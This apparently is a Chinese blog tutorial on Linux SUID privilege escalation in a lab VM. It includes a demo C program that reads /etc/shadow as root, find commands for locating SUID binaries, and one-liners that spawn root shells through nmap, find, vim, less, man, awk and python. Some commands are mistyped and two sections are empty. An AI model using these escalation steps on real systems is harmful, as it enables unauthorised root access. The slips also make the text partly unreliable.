104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、LINUX SUID提权

1、SUID简介

       SUID是一种特殊的文件属性,它允许其他用户在执行文件的时候,以该文件的拥有者的身份运行。

       SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。

       例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

2、SUID测试

(1)实验环境
靶机环境:虚拟机Ubuntu-15.5.04-3.19.0-15-generic
(2)靶机suid提权环境测试

【以 root进行编译和权限设置】

第一步: 编辑suid-demo.c源代码

#include <stdlib.h>
#include <unistd.h>
int main()
{
	setuid(0);	//设置suid为0,也就是run as root
	system("id");
	system("cat /etc/shadow");
}

第二步: 编译gcc suid-demo.c -o suid-demo
在这里插入图片描述

第三步: 设置suid位chmod 4775 suid-exp
在这里插入图片描述

第四步: ls 查询文件,注意s属性标识这个程序有suid的属性

在这里插入图片描述

第五步: 使用find / -perm -u=s -type f 2>/dev/null命令来查询根本目录下所有带用suid属性的文件
在这里插入图片描述

【普通用户执行】

第六步: 切换到普通用户moonteam,再去执行suid-demo,发现此时是以root的权限执行的该二进制文件
在这里插入图片描述

(3)总结

          若靶机上的某个二进制命令文件,没有在root下设置suid临时权限,我们可以su root切换到root用户,然后输入chmod 4775 某命令文件,即可设置suid提权的环境!!!
在这里插入图片描述

3、SUID提权

(1)提权原理

          简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了!!!

(2)可用于suid提权的命令
Nmap
Vim
find
Bash
More
Less
cp
Nano
Man
Awk
Perl
Python
Tcmdump
(3)查找具有root权限的SUID的二进制可执行命令文件

姿势1:find / -user root -perm -4000 -print 2>/dev/null

姿势2:find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述

姿势3:find / -user root -perm -4000 -exec ls -ldb {} \;

(4)nmap命令提权姿势

          旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。若Nmap在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用交互式控制台来运行具有相同权限的shell。

第一步:nmap -v
在这里插入图片描述

第二步:nmap --interactive
在这里插入图片描述

第三步:nmap>!sh
在这里插入图片描述

(5)find命令提权姿势

          若find在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用-exec参数以root权限执行命令甚至可以开启一个root权限的shell。

第一步:touch demo.txt
在这里插入图片描述

第二步:find demo.txt -exec whoami \;
在这里插入图片描述

第三步:find demo-exec /bin/bash -p \;
在这里插入图片描述

(6)vim命令提权姿势

          Vim是Linux环境下的一款文件编辑器。若vim在root权限下设置了SUID临时权限,则可以在编辑状态下以root权限开启一个shell。

第一步:vim
图略
第二步::shell
图略

(7)bash命令提权姿势

第一步:bash -p
在这里插入图片描述

(8)less/more命令提权姿势

第一步:less或more /etc/passwd
图略
第二步:!/bin/bash或!/bin/sh
图略

(9)cp命令提权姿势

(10)nano命令提权姿势

(11)man命令提权姿势

第一步:man cat
图略
第二步:!/bin/bash或/bin/sh
图略

(12)awk命令提权姿势

第一步:awk 'BEGIN {system("/bin/bash")}'
图略

(13)python命令提权姿势

第一步:python -c 'import os;os.system("/bin/bash")'
图略

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值